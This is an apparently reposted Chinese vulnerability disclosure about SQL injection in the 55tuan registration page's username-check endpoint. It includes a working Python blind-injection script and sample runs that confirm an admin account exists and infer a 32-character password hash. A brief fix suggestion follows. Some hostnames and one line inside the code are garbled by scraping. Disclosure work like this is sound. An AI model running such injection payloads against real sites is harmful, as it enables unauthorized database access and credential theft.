注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测，但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。
以下为测试代码(python)： import httplib, urllib
import sys
if len(sys.argv) < 2:
exit(0)
headers = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": " http://hangzhou.55tuan测试数据 ",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Cookie": "55tuan_uuid=3a0c2fad-6b10-4ade-89e2-15d94ef4647b",
}
params=urllib.urlencode({
HdhCmsTest2cto测试数据 "username":"adminccc' or (%s)or '4'='3" % (sys.argv[1]),
})
conn = httplib.HTTPConnection('hangzhou.55tuan测试数据:80')
conn.request("POST", "/check.do?method=checkUsernameRepeatAction", params, headers)
response = conn.getresponse()
data = response.read()
print data
从探测过程看，似乎后台对SQL 做了一定的保护，或者是有其他逻辑影响。因此采用'adminccc' or (%s) or '4'='3' 三个或条件来测试。由于adminccc 用户目前没有注册因此第一个条件是不成立的，'4'='3' 也是不成立的。实际测试结果仅为括号内条件 漏洞 证明： 运行脚本： D:\>post_test.py "username='admin'" true 返回true 说明存在admin用户
D:\>post_test.py "username='admin' and length(password)=31" false D:\>post_test.py "username='admin' and length(password)=32" true 说明密码长度是32字节，估计是 MD5 不继续做修改性测试:如通过SQL修改密码
ps: username password 字段纯属猜测得到，没有通过查询 系统 表
修复方案： 建议后台增加SQL语句过滤。
作者： Matrix
查看更多关于窝窝团SQL 注入漏洞及修复方案 - 网站安全 - 自学的详细内容...